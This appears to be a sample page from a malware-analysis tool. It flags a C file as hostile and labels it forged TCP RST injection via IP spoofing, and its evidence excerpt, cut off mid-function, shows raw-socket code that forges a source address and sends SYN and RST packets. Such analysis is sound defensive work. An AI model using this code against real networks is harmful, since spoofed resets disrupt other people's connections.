Hostile 92% Download

nat-state-raw.c

Forged TCP RST injection

IP spoofing via raw socket with IP_HDRINCLimports <sys/socket.h>
SHA-256be79e717b10956acfaac894c9e764f486fca1d01563a7d14d376a55f8e1f22ce

Evidence

setting IP_HDRINCL socket option (IP header lines 1–32
1#include <arpa/inet.h>
2#include <netinet/ip.h>
3#include <netinet/tcp.h>
4#include <sys/socket.h>
5
6struct packet {
7 struct iphdr ip;
8 struct tcphdr tcp;
9};
10
11static void terminate_mapping(const char *destination, unsigned short port) {
12 int fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
13 int enabled = 1;
14 struct sockaddr_in peer = {0};
15 struct packet packet = {0};
16
17 setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &enabled, sizeof(enabled));
18 packet.ip.saddr = inet_addr("192.0.2.44");
19 packet.ip.daddr = inet_addr(destination);
20 packet.ip.protocol = IPPROTO_TCP;
21 packet.tcp.source = htons(port);
22 packet.tcp.dest = htons(443);
23 packet.tcp.seq = htonl(0x51515151);
24 packet.tcp.syn = 1;
25 sendto(fd, &packet, sizeof(packet), 0,
26 (struct sockaddr *)&peer, sizeof(peer));
27
28 packet.tcp.syn = 0;
29 packet.tcp.rst = 1;
30 packet.tcp.seq = htonl(0);
31 sendto(fd, &packet, sizeof(packet), 0,
32 (struct sockaddr *)&peer, sizeof(peer));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.